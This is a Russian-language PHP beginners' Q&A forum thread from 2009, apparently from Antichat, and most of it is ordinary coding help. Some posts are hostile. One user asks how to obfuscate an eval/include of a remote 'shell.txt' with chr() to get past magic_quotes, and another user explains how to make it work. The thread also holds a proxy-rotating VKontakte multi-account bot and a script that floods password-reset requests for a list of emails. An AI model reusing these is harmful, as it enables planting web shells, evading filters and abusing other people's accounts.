Просмотр полной версии : [php] Новичкам: задаем вопросы
$ids = explode('|',$id);
echo $ids[0];
А " как вырезать?
extreemal
09.12.2009, 22:54
Byrger: Вырезать кавычки? всмысле удалять их?
если да то:
$var = strtr($var, array('"'=>''))
real_kas
10.12.2009, 10:27
Вот такой вопросец возник...
Есть файл, в котором находится текст в формате:
тексттексттексттексттекст текст
%
текст2текст2текст2текст2тек ст2текст2
%
текст3текст3текст3текст3тек ст3текст3
%
итд
Вопрос: Как рандомом выбирать из этого файла строку?
Вопрос: Как рандомом выбирать из этого файла строку не каждый раз, а например раз в день?
Спасибки тем кто знает :)
Вот такой вопросец возник...
Есть файл, в котором находится текст в формате:
Вопрос: Как рандомом выбирать из этого файла строку?
Вопрос: Как рандомом выбирать из этого файла строку не каждый раз, а например раз в день?
Спасибки тем кто знает :)
<?php
/* http://cronjob.ru/ */
echo '<b>Анегдот дня:<br></b> '.file_get_contents('now.txt');
$file = file('file.txt');
$str = $file[rand(0, count($file)-1)];
file_put_contents('now.txt', $str);
?>
file.txt:
- Рядовой Оглобля! - Рядовой Огло по вашему приказанию прибыл!
- Забиpай меня скоpей, увози за сто моpей - ты получишь 10 лет, ведь 16-ть мне-то нет...
- Опять эта тяжесть в животе. Hаверное экзамены, стресc... - Ладно, Даша, хватит себя успокаивать...
Утро в цыганском таборе: кто раньше встал - тот красивее всех оделся.
После дачи взятки сотруднику ГАИ улыбнуться и сказать: "Улыбнитесь, вас снимает скрытая камера!"
В файле file.txt к примеру анекдоты, берем рандом строку, записываем её в другой файл, в нужно нам месте на сайте делаем:
echo '<b>Анегдот дня:<br></b> '.file_get_contents('now.txt');
Что бы раз в день обновлялась информация, запускаем скрипт через CRON, если хостинг не предоставляет крон задачи, пользуемся фри сервисом:
http://cronjob.ru
Мануал по крону:
http://www.codenet.ru/webmast/php/cron.php
Architek86
10.12.2009, 18:37
Как проверить, что переменная $var содержит открытый (и не закрытый с помощью fclose) дескриптор файла (fopen) ? что-то вроде is_openfile($var) нужно....
Epic wave
10.12.2009, 19:48
подскажите. как с помощью cron заставить два скрипта работать, один в 00:00 , а второй в 23:00?
в файлах активно используется include, require читал это вроде влияет.
читаю манул на пост выше, но все таки жду ответов.
Architek86 is_resource(), но в принципе, обычно, достаточно простого if (!$f) echo 'Не дескриптор';
Есть парсер кода
$content = file_get_contents("http://site.ru");
preg_match_all("/<td class=\"td3\">([0-9]{0,4})<\/td>/is", $content, $matches);
$text = $matches[1];
Проблема в том что сайт с которого он парсит смотрит версию клиента и выдает не верный контент если это не браузер.
Как можно передать ему версию браузера любого?
Есть парсер кода
$content = file_get_contents("http://site.ru");
preg_match_all("/<td class=\"td3\">([0-9]{0,4})<\/td>/is", $content, $matches);
$text = $matches[1];
Проблема в том что сайт с которого он парсит смотрит версию клиента и выдает не верный контент если это не браузер.
Как можно передать ему версию браузера любого?
http://ua2.php.net/curl
http://ua2.php.net/manual/en/curl.installation.php
<?php
$ch = curl_init('http://ya.ru/');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(preg_match_all("/<td class=\"td3\">([0-9]{0,4})<\/td>/is", $content, $matches))
echo $matches[1];
?>
В базе дата хранится в формате YYYY-MM-DD
как вывести в формате: 12 December
пробовал:
date("d F", mysql_result($result,$i,date_post))
выводит 01 January
подскажите плиз
http://ua2.php.net/curl
http://ua2.php.net/manual/en/curl.installation.php
<?php
$ch = curl_init('http://ya.ru/');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(preg_match_all("/<td class=\"td3\">([0-9]{0,4})<\/td>/is", $content, $matches))
echo $matches[1];
?>
А всякими fread нельзя?
В базе дата хранится в формате YYYY-MM-DD
как вывести в формате: 12 December
пробовал:
date("d F", mysql_result($result,$i,date_post))
выводит 01 January
подскажите плиз
Нужно дату в Unix time переводить
date("d F", strtotime(mysql_result($result,$i,date_post)));
Player#1
12.12.2009, 19:53
А всякими fread нельзя?
Можно при помощи сокетов, например вот так:
$host="ya.ru";
$path="/index.html";
$agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET ".$path." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "User-Agent: ".$agent."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
Как можно вывести таблицу не с первой, а с последней записи "nic"?
$result = mysql_query ("SELECT nic FROM tab");
if ($result)
{
$rows = mysql_num_rows($result);
for ($i=0; $i<$rows; $i++)
{
$r=mysql_fetch_array($result);
echo $r["nic"];
}
mysql_free_result($result);
}
wildshaman
12.12.2009, 23:06
SELECT nic FROM tab order by DESC
SELECT nic FROM tab order by nic DESC
поле пропущено)
Помогайте ))
Есть пример код
<?php eval(include("http://site.com/shell.txt")); ?>
Как поняли инклудит шелл. А вот мне нужно сделать этот же рабочий php код такого вида.
<?php eval(include(chr(34).chr(104).chr(116).chr(116).ch r(112).........); ?>
Помоги сделать чтобы такой вид тоже давал рабочий вариант, то есть инклудился. А то уже 4 час сижу бьюсь не хуя понять не могу где ошибку допускаю. За ранее спасибо.
mailbrush
13.12.2009, 11:42
Помогайте ))
Есть пример код
<?php eval(include("http://site.com/shell.txt")); ?>
Как поняли инклудит шелл. А вот мне нужно сделать этот же рабочий php код такого вида.
<?php eval(include(chr(34).chr(104).chr(116).chr(116).ch r(112).........); ?>
Помоги сделать чтобы такой вид тоже давал рабочий вариант, то есть инклудился. А то уже 4 час сижу бьюсь не хуя понять не могу где ошибку допускаю. За ранее спасибо.
Ни один из твоих вариантов не сработает.
Ф-ция include предназначена для инклюдинга файлов, НО она его инклюдит, а возвращает результат выполнения, то есть 1 (успешно проинклюдиди) или 0 (неуспешно). Таким образом твой код станет eval(1);
или
eval(0);
PS: Тебе надо проинклудить файл, но стоят magic_quotes, и кавычки магическим образом превращаются в \'? Тогда используй chr, как ты и делал, но не переводи кавычку в chr - у тебя первый (и последний, наверное) символ, кодированный в чар - кавычки (chr(34)), вот их и убери, и тогда все будет как по маслу :)
mailbrush помог, ему спасибо.
foxxx1234
13.12.2009, 22:46
Подскажите пытаюсь исправить скрипт который добавляет друзей в контакте через прокси. Но его постоянно перекидывает на сам контакт. В чем может быть проблема.
античат не форум экстрасенсов (с)
код в студию
Player#1
13.12.2009, 22:54
хорошо бы код выложить...
возможно если скрипт работает через curl то надо добавить строку:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
foxxx1234
13.12.2009, 22:55
При просмотре заголовков видно iframe но не понятно как сделать так чтобы он не редиректил на контакт.
Смотрим есть ли новые друзья ..........HTTP/1.1 200 OK
Date: Mon, 14 Dec 2009 02:40:36 GMT
Server: nginx/0.7.59
Content-Type: text/html; charset=windows-1251
X-Powered-By: PHP/5.2.6-1+lenny3
Pragma: no-cache
Cache-control: no-store
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Vary: Accept-Encoding
Content-Length: 1058
Connection: close
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<script>
var t = setTimeout("location.href='http://vkontakte.ru/login.php?op=logout'", 7000);
</script>
</head>
<body>
<div>
<img src="http://vkontakte.ru/images/progress.gif">
</div>
<form id="f" name="f" method="post" action="http://vkontakte.ru/friends.php?filter=requests">
<input type='hidden' name='filter' value='requests' /><input type='hidden' name='IP_ADDRESS' value='210.32.200.95' /><input type='hidden' name='request_method' value='get' /><input type='hidden' name='pda' value='' />
</form>
<iframe name="mf" onload="try{if (this.contentWindow.location.href.indexOf('slogin' ) != -1) {clearTimeout(t); if (this.contentWindow.location.href.indexOf('nonenon e') != -1) {location.href='http://vkontakte.ru/login
Player#1
13.12.2009, 23:03
а зачем выводит в браузер html?
Парсить страницу надо, а не выводить.
foxxx1234
13.12.2009, 23:10
Просто скрипт подвисает и я хотел посмотреть в каком месте это происходит.
foxxx1234
13.12.2009, 23:18
Дайте советы по увеличению скорости данного скрипта и ошибкам.
Файл index.php
<?php
set_time_limit( 1200 );
include( 'function.inc' );
print date( "H:i:s", time() ) ."<br />"; flush();
$TimeGrab = file ( $TimeGrabProx );
if ( $TimeGrab[0] <= date ( 'd/m/Y H:i:s' , time() ) )
{
print "Обнавляем прокси ... "; flush();
if ( grab ( $proxing, $TimeGrabProx ) !== false )
{
print "Ok!<br />"; flush();
$proxing = file ( 'proxy.txt' );
$count = count ( $proxing );
$display[] = '['.date( "d-m-Y H:i:s", time() ) .']Обновили прокси! '.$count." штук!\r\n";
log_file ( $display, $loger, $display_mess );
unset ( $display );
}
else
{
$display[] = '['.date( "d-m-Y H:i:s", time() ) ."]Ошибка обнавления прокси!\r\n";
log_file ( $display, $loger, $display_mess);
exit();
}
sleep( 10 );
}
$proxing = file ( 'proxy.txt' );
$count = count ( $proxing );
$display[] = "Run friends [".date( "d-m-Y H:i:s", time() ) ."]";
/************************************************** ********
/*Заходим в аккаунт
/************************************************** *********/
for ($k = 0; $k < count( $acc ); $k++ )
{
if ( $k == 0 )
{
$proxy = $proxing[0];
}
list($nic, $pass, $stst ) = split( ":", $acc[$k] );
$display[] = " << " . $nic .":" .$proxy." >> ";
$data_auth = "?act=login&email=".$nic."&pass=".$pass."&expire=&vk=1";
$delling = false;
if ( $message == 1 ) print "Проверяем <b>" .$nic. "</b> на работоспасобность ...";
do
{
$connect = get_page_html( 'http://vkontakte.ru/login.php', 'http://login.vk.com/', $proxy, $data_auth, 1 );
if ( strstr ( $connect, 'HTTP/1.1 200 OK') !== false xor strstr ( $connect, 'HTTP/1.0 200 OK') !== false )
{
if ( strstr ( $connect, 'HTTP/1.1 302') !== false )
{
//=========================================//
if ( $message == 1 ) print " ok ! <br />"; flush();
preg_match('#\d+#',$connect,$id);
echo $res[0];
//=========================================//
preg_match_all('#Set-cookie: (.*?;) ex#UiS', $connect, $cookie );
if ( !empty( $cookie[1][1] ) )
{
for ( $c = 0; $c < count( $cookie[1] ); $c++)
{
$Cookies .= $cookie[1][$c];
}
if ( strstr ( $Cookies , 'remixsid' ) !== true )
{
$Cookies .= 'remixlang=0;remixchk=5;';
}
/*||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||*/
print "Делаем анкету онлайн ..."; flush();
$OnLineOk = false;
do
{
$OnLine = get_page_html( 'http://vkontakte.ru/profile.php', 'http://login.vk.com/?act=login', $proxy, NULL, 1, $Cookies );
if ( strstr ( $OnLine, '/profile.php' ) !== false )
{
//print $OnLine . "<br />"; flush();
print " Ok! <br />"; flush();
$OnLineOk = true;
}
else
{
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}
}
}
while ( !$OnLineOk );
/*||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||*/
//=========================================//
if ( $message == 1 ) print " Смотрим есть ли новые друзья ..."; flush();
$ProfileOk = false;
$fid_count = 0;
do
{
$ProFile = get_page_html( 'http://vkontakte.ru/friends.php?filter=requests', 'http://vkontakte.ru/profile.php', $proxy, NULL, 1, $Cookies );
//print $ProFile; flush();
if ( strstr ( $ProFile, 'http://vkontakte.ru/id1' ) !== false )
{
if ( strstr ( $ProFile, 'Location: /friends.php' ) !== false )
{
print "Заявок нет<br />\n"; flush();
}
else
{
preg_match_all( '#.*\[\[(.*?)\]\],.*#', $ProFile, $FrStr );
preg_match( '#.*\'hash\':\'(.*?)\'.*#', $ProFile, $Hash );
$FrStrExplode = explode( "],[", $FrStr[1][0] );
print " " . count ( $FrStrExplode ) ." в друзья!<br />"; flush();
foreach ( $FrStrExplode as $Fr )
{
preg_match( '#(\d{0,12}),\"(.*?)\",.*#', $Fr, $FrWelId );
print $FrWelId[1]; flush();
$WelcPost = 'fid='.$FrWelId[1].'&act=accept_friend&hash='.$Hash[1].'&cats=1';
/* Приглашаем */
$GoWelk = false;
do
{
$WelkResp = get_page_html( 'http://vkontakte.ru/friends_ajax.php', 'http://vkontakte.ru/friends.php?filter=requests', $proxy, $WelcPost, 1, $Cookies );
if ( strstr ( $WelkResp, 'Заявка принята' ) !== false xor strstr ( $WelkResp, 'Request Accepted' ) !== false xor strstr ( $WelkResp, 'Заявку прийнято' ) !== false)
{
print " Ok <br />\n"; flush();
$GoWelk = true;
}
else
{
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}
}
}
while ( !$GoWelk );
/* */
}
}
$ProfileOk = true;
}
else
{
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}
}
}
while ( !$ProfileOk );
$display[] = "[ " . count ( $FrStrExplode ) . " ] new friends - is accepted ! ";
/*||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||*/
$delling = true;
}
else
{
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}
}
/////////////////////////////////////////////
}
elseif ( strstr ( $connect, 'failed') !== false )
{
if ( $message == 1 ) print " Удален ! <br />"; flush();
$DellAcc = fopen ( $DelLog, 'a+' );
if ( $DellAcc )
{
$RecordDellAcc = "[ ".date( "d-m-Y H:i:s", time() ). " ] " . $nic . " Сайт ответил: анкета удалена.\n";
fputs( $DellAcc, $RecordDellAcc );
}
else
{
if ( $message == 1 ) print "Не смогли записать в файл удаленную анкету<br />";
flush();
}
fclose( $DellAcc );
$delling = true;
}
elseif ( strstr ( $connect, 'Enter code') !== false )
{
if ( $message == 1 ) print " требует ввода капчии, спим 30 сек ...<br />"; flush();
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
$proxy = next( $proxing );
}
sleep( 30 );
if ( $message == 1 ) print " пробуем снова ..."; flush();
}
else
{
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}
}
}
else
{
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}
}
}
while ( !$delling );
$Cookies = '';
sleep( 5 );
}
$display[] = $k . " vsego onlain акаунта(ов) [".date( "d-m-Y H:i:s", time() ) ."]\r\n";
print date("H:i:s", time()) . "<br />"; flush();
if ( $message == 1 )
{
print log_file ( $display, $loger, $display_mess );
}
?>
Файл function.inc
<?php
date_default_timezone_set( 'Europe/Kiev' );
$display = array(); //Массив с сообщениями
$loger = 1; // 1 Включает зпись логов, 0 выключает;
$display_mess = 0; // 1 Включает вывод сообщения о прделоной работе, 0 выключает;
$message = 1;// 1 Включает вывод сообщения о ходе работы, 0 выключает;
// Файл счетчик обновления прокси
if ( file_exists( 'count_prox.dat' ) )
{
$TimeGrabProx = 'count_prox.dat';
}
else
{
$CreaetTimeGrabProx = fopen( 'count_prox.dat', 'w+' );
if ( $CreaetTimeGrabProx )
{
chmod( 'count_prox.dat', 0666 );
print "Создали файл 'count_prox.dat' <br />"; flush();
}
fclose ( $CreaetTimeGrabProx );
$TimeGrabProx = 'count_prox.dat';
}
// Файл удаленных анкет
if ( file_exists( 'DellAcc.txt' ) )
{
$DelLog = 'DellAcc.txt';
}
else
{
$CreaetDelLog = fopen( 'DellAcc.txt', 'w+' );
if ( $CreaetDelLog )
{
chmod( 'DellAcc.txt', 0666 );
print "Создали файл 'DellAcc.txt' <br />"; flush();
}
fclose ( $CreaetDelLog );
$DelLog = 'DellAcc.txt';
}
if ( file_exists( 'proxy.txt' ) )
{
$proxing = file ( 'proxy.txt' ); // Файл с прокси
}
else
{
exit ( 'Нет файла прокси!');
}
///////////
if ( file_exists( 'acc.inc' ) )
{
$acc = file ( 'acc.inc' ); // Файл с анкетами
}
else
{
exit ( 'Нет файла с аккаунтами!');
}
function count_prox ( $TimeGrabProx, $Time=7200 )
{
$acc_rec = fopen ( $TimeGrabProx, "w+" );
if ( flock( $acc_rec, LOCK_EX ) )
{
fseek($acc_rec, 0 );
fputs( $acc_rec, date ( "d/m/Y H:i:s", ( time () + $Time ) ) );
flock( $acc_rec, LOCK_UN);
}
fclose ($acc_rec);
}
function log_file ( $var, $stat, $display_mess ) // Функция для ведения лог файла
{
if ( $stat == 1 )
{
if ( file_exists( 'log_file.txt' ) )
{
$log_file = fopen ( 'log_file.txt', "a+" ) or die( "Не могу открыть log_file.txt" );
}
else
{
$log_file = fopen ( 'log_file.txt', "a+" ) or die( "Не могу открыть log_file.txt" );
if ( $log_file )
{
chmod( 'log_file.txt', 0666 );
}
}
if ( flock( $log_file, LOCK_EX ) )
{
rewind ( $log_file );
fputs( $log_file, @implode( " ", $var ) );
flock( $log_file, LOCK_UN);
}
else
{
return "Не могу запереть файл";
}
fclose ( $log_file );
}
if ( $display_mess == 1 )
{
$del = array_shift ( $var );
$del = array_pop ( $var );
return @implode ( " ", $var ) . flush();
}
}
function get_page_html( $url, $Refer='', $proxy='', $post='', $num='', $Cookie='' )
{
$agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
$curltop = curl_init();
if ( !empty ( $proxy ) )
{
curl_setopt( $curltop, CURLOPT_PROXY, $proxy );
}
curl_setopt( $curltop, CURLOPT_URL, $url );
if ( !empty( $Refer ) )
{
curl_setopt( $curltop, CURLOPT_REFERER, $Refer );
}
curl_setopt( $curltop, CURLOPT_USERAGENT, $agent );
curl_setopt( $curltop, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $curltop, CURLOPT_FOLLOWLOCATION, 1 );
if ( empty( $Cookie ) )
{
$cookiefile = 'cookie.inc';
if ( !file_exists( $cookiefile ) )
{
$handle = fopen( $cookiefile, 'w' );
chmod( 'cookie.inc', 0666 );
fclose( $handle );
}
curl_setopt( $curltop, CURLOPT_COOKIEFILE, $cookiefile );
curl_setopt( $curltop, CURLOPT_COOKIEJAR, $cookiefile );
}
else
{
curl_setopt( $curltop, CURLOPT_COOKIE, $Cookie );
}
curl_setopt( $curltop, CURLOPT_TIMEOUT, 15 );
if ( $num == 1 )
{
curl_setopt( $curltop, CURLOPT_HEADER, 1 );
}
if ( !empty( $post ) )
{
curl_setopt( $curltop, CURLOPT_POST, 1 );
curl_setopt( $curltop, CURLOPT_POSTFIELDS, $post );
}
$html = curl_exec( $curltop );
//echo $html;
curl_close ( $curltop );
return !empty( $html ) ? $html : false;
}
function grab ( $proxing, $TimeGrabProx )
{
$FileRezer = file ( 'proxy.txt' );
$file_prox = fopen ( 'proxy.txt', 'w+' );
flock( $file_prox, LOCK_EX );
$ArrayLinc[] = 'http://freeproxylist.org/en/free-proxy-list.htm';
for ( $p = 1; $p <= 50; $p ++ )
{
$ArrayLinc[$p] = 'http://freeproxylist.org/en/free-proxy-list.htm?index='.$p ;
}
foreach ( $ArrayLinc as $key => $Linc )
{
if ( $key == 0 )
{
$PostSend = 'cc=any&ssl=any&speed=0&port=any&connect=any&ping=15.0000&type=any&post=any&uptime=0§ion=both&codeen=any&interval=360&userip=94.178.217.103&code=AW1VfWYjMueusyuh&filter=save+and+apply+filter+options';
}
else
{
$PostSend = null;
}
$Prox = get_page_html ( Null, $Linc, Null, Null, $PostSend, 0 );
if ( !empty( $Prox ) )
{
preg_match_all( "/(\d{0,3}\.\d{0,3}\.\d{0,3}\.\d{0,3}:\d{0,6})/", $Prox, $ProxSort );
if ( !empty ( $ProxSort[1][0] ) )
{
//print $Linc ." Ok!<br />"; flush();
for ( $i = 0; $i < count ( $ProxSort[1] ); $i ++ )
{
fwrite( $file_prox, $ProxSort[1][$i]."\n" );
}
$prox_url_ok = true;
}
}
else
{
if ( ( $p - 1 ) == $key )
{
if ( filesize( 'proxy.txt' ) <= 10 )
{
fwrite( $file_prox, @implode( "", $FileRezer ) );
$prox_url_ok = false;
}
}
}
}
flock( $file_prox, LOCK_UN);
fclose( $file_prox );
count_prox ( $TimeGrabProx );
return $prox_url_ok;
}
?>
как узнать ПО сервера (из заголовка) средсвами ПХП. т.е. надо написать скрипт который читает загаловок сервера.
<?php
$url = 'http://linux.org.ru/';
$c = curl_init ();
curl_setopt ($c, CURLOPT_URL, $url);
curl_setopt ($c, CURLOPT_HEADER, 1);
curl_setopt ($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($c, CURLOPT_REFERER, $url);
curl_setopt ($c, CURLOPT_USERAGENT, 'Mozilla/5.0');
curl_setopt ($c, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($c, CURLOPT_NOBODY, 1);
$res = curl_exec ($c);
curl_close ($c);
preg_match ('/Server:\s+(.+?)\r\n/', $res, $m);
echo $m[1];
?>
Подскажите пожалуйста,это вроде как к регуляркам относится!
В общем есть переменная,получаем через POST пример:
$param=$_POST['value'];
я делаю проверку
if ($param == 'Значение')
{
действие
}
Но проблема в том,что первая часть $param постоянная,к примеру setname,а вторая постоянно меняется и содержит она цифры и буквы.
К примеру так
setname vasyapupkin123
Можно как-нибудь определить или понять что переменная содержит setname A-Z;0-9 или что-то подобное..заранее спасибо
Наверное так
<?php
if(preg_match('/^setname [0-9a-z]+$/i', $param))
{
действие
}
?>
mastaadon
14.12.2009, 22:44
Ребята помогите с кодом, нужно написать php функцию которая будет проверять логин на содержание недопустимых символов. В моем случае логин должен содержать только цифры, буквы английского алфавита и символы @, ., -, _ . То есть все что присутствует здесь: .,-,_,@,1,2,3,4,5,6,7,8,9,0,A,a,B,b,C,c,D,d,E,e,F,f,G ,g,H,h,I,i,J,j,K,k,L,l,M,m,N,n,O,o,P,p,Q,q,R,r,S,s ,T,t,U,u,V,v,W,w,X,x,Y,y,Z,z
Ретрив по списку мыльников Вк, не могу разобраться в чем ошибка:
(c)Player#1 for antichat.ru<br><br> <?php set_time_limit(0); function curl($url,$post) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; $fp=fopen("accounts.txt", "rt"); while(!feof($fp)) { $str = fgets($fp, 100); $acc = explode(";", $str, 2); $login = trim($acc[0]); $post = "op=retrieve&email=".$login; $result = curl("http://vkontakte.ru/login.php", $post); echo $login; flush(); if(strpos($result, "Location: login.php?p=1")) { echo " - Пароль выслан<br>"; }else{ echo "Ошибка!<br>"; }; }; fclose($fp); ?>
Ребята помогите с кодом, нужно написать php функцию которая будет проверять логин на содержание недопустимых символов. В моем случае логин должен содержать только цифры, буквы английского алфавита и символы @, ., -, _ . То есть все что присутствует здесь: .,-,_,@,1,2,3,4,5,6,7,8,9,0,A,a,B,b,C,c,D,d,E,e,F,f,G ,g,H,h,I,i,J,j,K,k,L,l,M,m,N,n,O,o,P,p,Q,q,R,r,S,s ,T,t,U,u,V,v,W,w,X,x,Y,y,Z,z
<?php
function check_login ($login) {
if(!preg_match("/^[a-zA-Z0-9\.@\-_]+$/",$login))
echo "Ошибка";
else
echo "Правильное имя";
}
?>
mastaadon
15.12.2009, 02:01
svesve спасибо за помощь, кажется нужна небольшая корректировка. Запятую нужно убрать, функция жалуется на логин типа abs-sade, то есть тире и пропускает символы [] и #. Для меня весьма важно что бы мой скрипт не пропускал логины которые не могут быть допущены к регистрации в программах с которыми я собираюсь работать. У них допустимы только знаки . @ - _ и английский алфавит с цифрами. Если не трудно доработайте пожалуйста а то я сам с регулярными выражениями не знаком вовсе.
shellz[21h]
15.12.2009, 02:10
ecли правильно понял.
'/^[a-zA-Z0-9\.,@\-_]+$/'
svesve спасибо за помощь, кажется нужна небольшая корректировка. Запятую нужно убрать, функция жалуется на логин типа abs-sade, то есть тире и пропускает символы [] и #. Для меня весьма важно что бы мой скрипт не пропускал логины которые не могут быть допущены к регистрации в программах с которыми я собираюсь работать. У них допустимы только знаки . @ - _ и английский алфавит с цифрами. Если не трудно доработайте пожалуйста а то я сам с регулярными выражениями не знаком вовсе.
shellz[21h] угу забыл тире заэкранить
mastaadon смотри выше я исправил
mastaadon
15.12.2009, 14:12
Спасибо ребята вы мне здорово помогли
Есть txt файл
В нем
| <a href="**********">aaa aaa aaa</a>
| <a href="**********">bbb bbb bbb</a>
| <a href="**********">cccc cccc cccc</a>
Нужно вырезать
aaa aaa aaa
bbb bbb bbb
cccc cccc cccc
Спасибо.
Есть txt файл
В нем
| <a href="**********">aaa aaa aaa</a>
| <a href="**********">bbb bbb bbb</a>
| <a href="**********">cccc cccc cccc</a>
Нужно вырезать
aaa aaa aaa
bbb bbb bbb
cccc cccc cccc
Спасибо.
<?php
$file = '| <a href="**********">aaa aaa aaa</a>
| <a href="**********">bbb bbb bbb</a>
| <a href="**********">cccc cccc cccc</a>';
$file = preg_replace('#<a.*>(.*)</a>#','$1',$file);
echo $file;
?>
<?php
$url = 'http://linux.org.ru/';
$c = curl_init ();
curl_setopt ($c, CURLOPT_URL, $url);
curl_setopt ($c, CURLOPT_HEADER, 1);
curl_setopt ($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($c, CURLOPT_REFERER, $url);
curl_setopt ($c, CURLOPT_USERAGENT, 'Mozilla/5.0');
curl_setopt ($c, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($c, CURLOPT_NOBODY, 1);
$res = curl_exec ($c);
curl_close ($c);
preg_match ('/Server:\s+(.+?)\r\n/', $res, $m);
echo $m[1];
?>
Спасибо конечно, но я пока хочу науиться это делать стандартными средсвами. без курла.
Спасибо конечно, но я пока хочу науиться это делать стандартными средсвами. без курла.
http://ua2.php.net/get_headers
http://ua2.php.net/get_headers
большое спс. а функциями типа fsockopen() мона получить заголовок Server? если да, то как? плиз
большое спс. а функциями типа fsockopen() мона получить заголовок Server? если да, то как? плиз
<?php
$fp = fsockopen("www.ya.ru", 80, $errno, $errstr, 3);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.ya.ru\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$data = fread($fp, 100*1024);
fclose($fp);
list($headers) = explode("\r\n\r\n",$data);
echo 'HEADERS: <br><textarea cols="40" rows="20" wrap="OFF">'.$headers.'</textarea><hr>';
if(preg_match("#Server: (.*)\n#",$headers, $m))
echo 'SERVER: <strong>'.$m[1].'</strong>';
}
?>
«Adult Holding»
15.12.2009, 18:06
Кто может помочь рипнуть шаблончик форума на phpbb?
Буду дико благодарен...
вот он: http://www.titaniumforum.org/index.php
я так понимаю не совсем в тему но все же
умные люди помогите советом как автоматизировать процесс голосования
было бы неплохо пообщатся голосом через скайп или майл
Чистишь куки и голосуешь.
antiturk тебе в помощь!
ANTIHАCK
15.12.2009, 22:02
Есть:
$dave = $_POST["go"];;
$mail = $_POST["mail"];
$tema = "Блабла";
$subject = 'Блала: $dave';
if ($_POST["mail"] == TRUE)
{
mail ($mail,$tema,$subject);
}
Все нормально отправляет, но приходит "Блала: $dave" а не то что должно было быть в переменной $dave...
Есть:
$dave = $_POST["go"];;
$mail = $_POST["mail"];
$tema = "Блабла";
$subject = 'Блала: $dave';
if ($_POST["mail"] == TRUE)
{
mail ($mail,$tema,$subject);
}
Все нормально отправляет, но приходит "Блала: $dave" а не то что должно было быть в переменной $dave...
Исправь
$subject = 'Блала: '.$dave;
Эх, ну почему же мануалы-то не читаем, а?
$subject = 'Блала: '.$dave;
$subject = "Блала: $dave";
Допустим есть окно автаризации на сайте
Там GET передается параметр Login=
Если прописать login[]=
То вылазит ошибка, допустим при обработке такой переменной средствами htmlspecialchars()
Как исправить данную уязвимость?
$login = (string) $_GET['login'];
Здравствуйте... Работаю с Curl при авторизации с использованием curl вылетает ошибка
Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set in /home/strlenc/public_html/xxxx.com/xxxx/index.php on line 32
Ругается хост на следующую строку
// "Следовать туда, куда зовут". Если сервис выдает 302 код, мы следуем по этой ссылке
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
Как эту ошибку можно исправить?
Pashkela
17.12.2009, 14:39
CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir
http://www.translate.ru/Default.aspx/Text?prmtlang=ru
Solide Snake
17.12.2009, 16:04
Проверка доступности http ресурса.
Итак, необходим простейший код на php, который при открытии страницы выводит доступность определенного адреса (онлайн или оффлайн). Как тут например: http://search.netbynet.ru/ftp
Нашел вот такой код:
<?php
